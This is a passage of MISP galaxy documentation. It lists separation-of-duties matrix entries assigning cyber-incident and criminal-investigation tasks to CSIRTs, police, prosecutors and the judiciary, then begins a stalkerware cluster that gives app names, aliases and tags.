The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [S]"*

Conducting the criminal investigation - LEA - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [R]"*

Conducting the criminal investigation - LEA - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [C]"*

Conducting the criminal investigation - LEA - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [I]"*

Conducting the criminal investigation - LEA - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [S]"*

Conducting the criminal investigation - Prosecutors - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [R]"*

Conducting the criminal investigation - Prosecutors - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [C]"*

Conducting the criminal investigation - Prosecutors - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [I]"*

Conducting the criminal investigation - Prosecutors - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [S]"*

Leading the criminal investigation - Judiciary - [R]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [R]"*

Leading the criminal investigation - Judiciary - [C]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [C]"*

Leading the criminal investigation - Judiciary - [I]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [I]"*

Leading the criminal investigation - Judiciary - [S]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [S]"*

Leading the criminal investigation - Prosecutors - [R]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [R]"*

Leading the criminal investigation - Prosecutors - [C]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [C]"*

Leading the criminal investigation - Prosecutors - [I]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [I]"*

Leading the criminal investigation - Prosecutors - [S]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [S]"*

In the case of disagreement, the final say for an investigation - Judiciary - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [R]"*

In the case of disagreement, the final say for an investigation - Judiciary - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [C]"*

In the case of disagreement, the final say for an investigation - Judiciary - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [I]"*

In the case of disagreement, the final say for an investigation - Judiciary - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [S]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [R]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [C]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [I]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [S]"*

Authorizing the investigation carried out by the LE - LEA - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [R]"*

Authorizing the investigation carried out by the LE - LEA - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [C]"*

Authorizing the investigation carried out by the LE - LEA - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [I]"*

Authorizing the investigation carried out by the LE - LEA - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [S]"*

Authorizing the investigation carried out by the LE - Judiciary - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [R]"*

Authorizing the investigation carried out by the LE - Judiciary - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [C]"*

Authorizing the investigation carried out by the LE - Judiciary - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [I]"*

Authorizing the investigation carried out by the LE - Judiciary - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [S]"*

Authorizing the investigation carried out by the LE - Prosecutors - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [R]"*

Authorizing the investigation carried out by the LE - Prosecutors - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [C]"*

Authorizing the investigation carried out by the LE - Prosecutors - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [I]"*

Authorizing the investigation carried out by the LE - Prosecutors - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]"*

Systems recovery - CSIRT - [R]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [R]"*

Systems recovery - CSIRT - [C]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [C]"*

Systems recovery - CSIRT - [I]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [I]"*

Systems recovery - CSIRT - [S]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [S]"*

Protecting the constituency - CSIRT - [R]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [R]"*

Protecting the constituency - CSIRT - [C]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [C]"*

Protecting the constituency - CSIRT - [I]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [I]"*

Protecting the constituency - CSIRT - [S]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [S]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [R]

Technical skills pertaining to system administration, network administration, technical support or

intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [R]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [C]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [C]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [I]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [I]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [S]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [S]"*

Analysis and interpretation of collected evidence - LEA - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [R]"*

Analysis and interpretation of collected evidence - LEA - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [C]"*

Analysis and interpretation of collected evidence - LEA - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [I]"*

Analysis and interpretation of collected evidence - LEA - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [S]"*

Analysis and interpretation of collected evidence - Judiciary - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [R]"*

Analysis and interpretation of collected evidence - Judiciary - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [C]"*

Analysis and interpretation of collected evidence - Judiciary - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [I]"*

Analysis and interpretation of collected evidence - Judiciary - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [S]"*

Analysis and interpretation of collected evidence - Prosecutors - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [R]"*

Analysis and interpretation of collected evidence - Prosecutors - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [C]"*

Analysis and interpretation of collected evidence - Prosecutors - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [I]"*

Analysis and interpretation of collected evidence - Prosecutors - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [S]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [R]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [R]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [C]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [C]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [I]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [I]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [S]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [S]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [R]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [R]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [C]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [C]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [I]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [I]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [S]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [S]"*

Admitting and assessing the evidence - Judiciary - [R]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [R]"*

Admitting and assessing the evidence - Judiciary - [C]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [C]"*

Admitting and assessing the evidence - Judiciary - [I]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [I]"*

Admitting and assessing the evidence - Judiciary - [S]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [S]"*

Admitting and assessing the evidence - Prosecutors - [R]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [R]"*

Admitting and assessing the evidence - Prosecutors - [C]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [C]"*

Admitting and assessing the evidence - Prosecutors - [I]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [I]"*

Admitting and assessing the evidence - Prosecutors - [S]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [S]"*

Judging who committed a crime - Judiciary - [R]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [R]"*

Judging who committed a crime - Judiciary - [C]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [C]"*

Judging who committed a crime - Judiciary - [I]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [I]"*

Judging who committed a crime - Judiciary - [S]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [S]"*

Assessing incident damage and cost - CSIRT - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [R]"*

Assessing incident damage and cost - CSIRT - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [C]"*

Assessing incident damage and cost - CSIRT - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [I]"*

Assessing incident damage and cost - CSIRT - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [S]"*

Assessing incident damage and cost - LEA - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [R]"*

Assessing incident damage and cost - LEA - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [C]"*

Assessing incident damage and cost - LEA - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [I]"*

Assessing incident damage and cost - LEA - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [S]"*

Assessing incident damage and cost - Judiciary - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [R]"*

Assessing incident damage and cost - Judiciary - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [C]"*

Assessing incident damage and cost - Judiciary - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [I]"*

Assessing incident damage and cost - Judiciary - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [S]"*

Assessing incident damage and cost - Prosecutors - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [R]"*

Assessing incident damage and cost - Prosecutors - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [C]"*

Assessing incident damage and cost - Prosecutors - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [I]"*

Assessing incident damage and cost - Prosecutors - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [S]"*

Reviewing the response and update policies and procedures - CSIRT - [R]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [R]"*

Reviewing the response and update policies and procedures - CSIRT - [C]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures -*

CSIRT - [C]"

Reviewing the response and update policies and procedures - CSIRT - [I]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [I]"*

Reviewing the response and update policies and procedures - CSIRT - [S]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [S]"*

Stalkerware

A list of stalkerware and watchware..

Stalkerware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

AbsoluTrack

The tag is: *misp-galaxy:stalkerware="AbsoluTrack"*

AbsoluTrack is also known as:

- RemoteSecurity

Accountable2you

The tag is: *misp-galaxy:stalkerware="Accountable2you"*

Ahmyth

The tag is: *misp-galaxy:stalkerware="Ahmyth"*

AiSpyer

The tag is: *misp-galaxy:stalkerware="AiSpyer"*

AiSpyer is also known as:

- AiSpyer

AllTracker

The tag is: *misp-galaxy:stalkerware="AllTracker"*

AllTracker is also known as:

- AllTracker
- Russcity

Android007

The tag is: *misp-galaxy:stalkerware="Android007"*

Android007 is also known as:

- SpyBunker

AndroidLost

The tag is: *misp-galaxy:stalkerware="AndroidLost"*

AndroidLost is also known as:

- AndroidLost

AndroidMonitor

The tag is: *misp-galaxy:stalkerware="AndroidMonitor"*

AndroidMonitor is also known as:

- AndroidMonitor
- UltimatePhoneSpy

AndroidPolice

The tag is: *misp-galaxy:stalkerware="AndroidPolice"*

AndroidPolice is also known as:

- AndrMonitor
- AndroidMon
- Dromon
- MonitorChecker

AndroidSpy

The tag is: *misp-galaxy:stalkerware="AndroidSpy"*

AndroidSpy is also known as:

- ASpy
- AndroSpy

AndroidSpyApp

The tag is: *misp-galaxy:stalkerware="AndroidSpyApp"*

AndroRat

The tag is: *misp-galaxy:stalkerware="AndroRat"*

AntiFurtoDroid

The tag is: *misp-galaxy:stalkerware="AntiFurtoDroid"*

AntiFurtoDroid is also known as:

- AntiFurtoDroid

AppMia

The tag is: *misp-galaxy:stalkerware="AppMia"*

AppMia is also known as:

- AppMia

AppSpy

The tag is: *misp-galaxy:stalkerware="AppSpy"*

AppSpy is also known as:

- AppSpy
- FreeSpy

- MobileFindFree

bark

The tag is: *misp-galaxy:stalkerware="bark"*

bark is also known as:

- bark

BlurSpy

The tag is: *misp-galaxy:stalkerware="BlurSpy"*

BlurSpy is also known as:

- BlurSpy
- XOXOSpy

Boomrang

The tag is: *misp-galaxy:stalkerware="Boomrang"*

BosSpy

The tag is: *misp-galaxy:stalkerware="BosSpy"*

BrunoEspiao

The tag is: *misp-galaxy:stalkerware="BrunoEspiao"*

Buhsam

The tag is: *misp-galaxy:stalkerware="Buhsam"*

Bulgok

The tag is: *misp-galaxy:stalkerware="Bulgok"*

Bulgok is also known as:

- ControlPhone

CallSMSTracker

The tag is: *misp-galaxy:stalkerware="CallSMSTracker"*

CallSMSTracker is also known as:

- CallSMSTracker
- HiddenSMSTracker
- Multiverze
- Quizmo

CatWatchful

The tag is: *misp-galaxy:stalkerware="CatWatchful"*

CatWatchful is also known as:

- CatWatchful

Cerberus

The tag is: *misp-galaxy:stalkerware="Cerberus"*

Cerberus is also known as:

- Cerberus

ClevGuard

The tag is: *misp-galaxy:stalkerware="ClevGuard"*

ClevGuard is also known as:

- ClevGuard
- KidsGuard

Cocospy

The tag is: *misp-galaxy:stalkerware="Cocospy"*

Cocospy is also known as:

- Cocospy
- FoneMonitor
- MinSpy
- NeatSpy
- SafeSpy
- Spyic
- Spyine

- Spyzie
- TeenSafe

CouplerTracker

The tag is: *misp-galaxy:stalkerware="CouplerTracker"*

CouplerTracker is also known as:

- CouplerTracker

Curiosus

The tag is: *misp-galaxy:stalkerware="Curiosus"*

Dash

The tag is: *misp-galaxy:stalkerware="Dash"*

Discovenger

The tag is: *misp-galaxy:stalkerware="Discovenger"*

DroidWatcher

The tag is: *misp-galaxy:stalkerware="DroidWatcher"*

eagleSPY

The tag is: *misp-galaxy:stalkerware="eagleSPY"*

EasyLogger

The tag is: *misp-galaxy:stalkerware="EasyLogger"*

EasyLogger is also known as:

- EasyLogger

EasyPhoneTrack

The tag is: *misp-galaxy:stalkerware="EasyPhoneTrack"*

EasyPhoneTrack is also known as:

- EasyPhoneTrack

- Ppapp

EspiaoAndroid

The tag is: *misp-galaxy:stalkerware="EspiaoAndroid"*

EspiaoAndroid is also known as:

- EspiaoAndroid
- FoxSpy

EvaSpy

The tag is: *misp-galaxy:stalkerware="EvaSpy"*

EvaSpy is also known as:

- Spyrix

FamilyOrbit

The tag is: *misp-galaxy:stalkerware="FamilyOrbit"*

FamiSafe

The tag is: *misp-galaxy:stalkerware="FamiSafe"*

FamiShield

The tag is: *misp-galaxy:stalkerware="FamiShield"*

FamiShield is also known as:

- Mitbe

Fenced

The tag is: *misp-galaxy:stalkerware="Fenced"*

Fenced is also known as:

- MobileSpyIo

FindMyKids

The tag is: *misp-galaxy:stalkerware="FindMyKids"*

FindMyPhone

The tag is: *misp-galaxy:stalkerware="FindMyPhone"*

FindMyPhone is also known as:

- InMobi

FlareFamilyLocator

The tag is: *misp-galaxy:stalkerware="FlareFamilyLocator"*

FlashKeylogger

The tag is: *misp-galaxy:stalkerware="FlashKeylogger"*

FlashKeylogger is also known as:

- FlashKeylog

FlexiSpy

The tag is: *misp-galaxy:stalkerware="FlexiSpy"*

FlexiSpy is also known as:

- FlexiSpy

FreeAndroidSpy

The tag is: *misp-galaxy:stalkerware="FreeAndroidSpy"*

FreeAndroidSpy is also known as:

- FreeAndroidSpy

GeoZilla

The tag is: *misp-galaxy:stalkerware="GeoZilla"*

GPSTrackerLoki

The tag is: *misp-galaxy:stalkerware="GPSTrackerLoki"*

GPSTrackerLoki is also known as:

- GPSTrackerLoki

HelloSpy

The tag is: *misp-galaxy:stalkerware="HelloSpy"*

HelloSpy is also known as:

- 1TopSpy
- HelloSPy
- MaxxSpy
- MobiiSpy
- SpyHide

HighsterMobile

The tag is: *misp-galaxy:stalkerware="HighsterMobile"*

HighsterMobile is also known as:

- AutoForward
- DDI
- DDIUtilities
- EasySpy
- Highster
- HighsterMobile
- HighsterSpy
- PhoneSpector
- SafeGuarde
- SurePoint
- TurboSpy

Hoverwatch

The tag is: *misp-galaxy:stalkerware="Hoverwatch"*

Hoverwatch is also known as:

- Hoverwatch
- Refog
- SpyBubble

iKeyMonitor

The tag is: *misp-galaxy:stalkerware="iKeyMonitor"*

iKeyMonitor is also known as:

- iKeyMonitor

iMonitorSpy

The tag is: *misp-galaxy:stalkerware="iMonitorSpy"*

iMonitorSpy is also known as:

- iMonitorSpy

Intertel

The tag is: *misp-galaxy:stalkerware="Intertel"*

ISpy

The tag is: *misp-galaxy:stalkerware="ISpy"*

jjspy

The tag is: *misp-galaxy:stalkerware="jjspy"*

jjspy is also known as:

- ttspy

juju

The tag is: *misp-galaxy:stalkerware="juju"*

KasperskySafeKids

The tag is: *misp-galaxy:stalkerware="KasperskySafeKids"*

Kiddoware

The tag is: *misp-galaxy:stalkerware="Kiddoware"*

Kidgy

The tag is: *misp-galaxy:stalkerware="Kidgy"*

KidsControl

The tag is: *misp-galaxy:stalkerware="KidsControl"*

KidsLox

The tag is: *misp-galaxy:stalkerware="KidsLox"*

KidsShield

The tag is: *misp-galaxy:stalkerware="KidsShield"*

KidsShield is also known as:

- KidLogger
- MonitorMinor
- SelfSpy
- SpyTrac
- TelcadoAndroid
- TiFamily
- TiSpy
- TracerSpy
- Triada
- VipTelefonProgrami

LetMeSpy

The tag is: *misp-galaxy:stalkerware="LetMeSpy"*

LetMeSpy is also known as:

- LetMeSpy
- RemCmd
- RemoteCommand

Life360

The tag is: *misp-galaxy:stalkerware="Life360"*

LockItTight

The tag is: *misp-galaxy:stalkerware="LockItTight"*

LoveSpy

The tag is: *misp-galaxy:stalkerware="LoveSpy"*

MagMonitor

The tag is: *misp-galaxy:stalkerware="MagMonitor"*

MagMonitor is also known as:

- maglook

Metasploit

The tag is: *misp-galaxy:stalkerware="Metasploit"*

Metasploit is also known as:

- ForeverSpy
- Metasploit

MeuSpy

The tag is: *misp-galaxy:stalkerware="MeuSpy"*

MeuSpy is also known as:

- MeuSpy

MicrosoftFamilySafe

The tag is: *misp-galaxy:stalkerware="MicrosoftFamilySafe"*

MMGuardian

The tag is: *misp-galaxy:stalkerware="MMGuardian"*

MobileFence

The tag is: *misp-galaxy:stalkerware="MobileFence"*

MobileSpy

The tag is: *misp-galaxy:stalkerware="MobileSpy"*

MobileTool

The tag is: *misp-galaxy:stalkerware="MobileTool"*

MobileTool is also known as:

- Jopsik
- MobTool
- MobileTool

MobileTrackerFree

The tag is: *misp-galaxy:stalkerware="MobileTrackerFree"*

MobileTrackerFree is also known as:

- CellTracker
- MTrack
- MobileTrackerFree
- MonitorLoverman
- TrackMobil

MobiSpy

The tag is: *misp-galaxy:stalkerware="MobiSpy"*

MobiSpy is also known as:

- MobiSpy

MobiStealth

The tag is: *misp-galaxy:stalkerware="MobiStealth"*

MobiStealth is also known as:

- MobiStealth
- Stealthcell

MocoSpy

The tag is: *misp-galaxy:stalkerware="MocoSpy"*

